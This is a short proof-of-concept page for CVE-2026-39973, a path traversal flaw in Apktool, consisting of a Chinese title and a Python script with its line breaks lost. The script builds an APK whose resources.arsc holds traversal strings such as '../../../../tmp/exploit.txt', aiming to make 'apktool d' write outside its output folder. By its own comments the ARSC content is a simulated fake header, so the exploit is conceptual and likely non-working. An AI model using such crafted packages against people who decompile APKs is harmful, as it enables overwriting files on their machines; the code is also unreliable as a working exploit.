CVE-2026-39973 Apktool路径遍历致任意文件写入漏洞

import zipfile import os # PoC for CVE-2026-39973: Path Traversal in Apktool # This script demonstrates how to create a malicious APK structure # that exploits the missing BrutIO.sanitizePath() check. def create_malicious_apk(output_path): # 1. Create a minimal directory structure for the APK base_dir = "malicious_apk" os.makedirs(base_dir, exist_ok=True) # 2. Create a dummy AndroidManifest.xml with open(os.path.join(base_dir, "AndroidManifest.xml"), "wb") as f: f.write(b"<manifest></manifest>") # 3. Create a malicious resources.arsc # In a real scenario, this requires binary manipulation of the ARSC format # to include a string like "../../../tmp/poc.txt" in the string pool. # Here we simulate the structure concept. print("Generating malicious resources.arsc with path traversal sequence...") # Simulated binary content (Conceptual PoC) # The actual exploit involves crafting the Type String Pool in resources.arsc # to contain paths like "../../../../../../tmp/pwned". arsc_content = b"FAKE_ARS_HEADER" + b"../../../../tmp/exploit.txt" with open(os.path.join(base_dir, "resources.arsc"), "wb") as f: f.write(arsc_content) # 4. Zip it into an APK with zipfile.ZipFile(output_path, 'w') as zf: for root, dirs, files in os.walk(base_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, base_dir) zf.write(file_path, arcname) print(f"Malicious APK created at: {output_path}") print("When 'apktool d {}' is run, it attempts to write to /tmp/exploit.txt".format(output_path)) if __name__ == "__main__": create_malicious_apk("cve_2026_39973_poc.apk")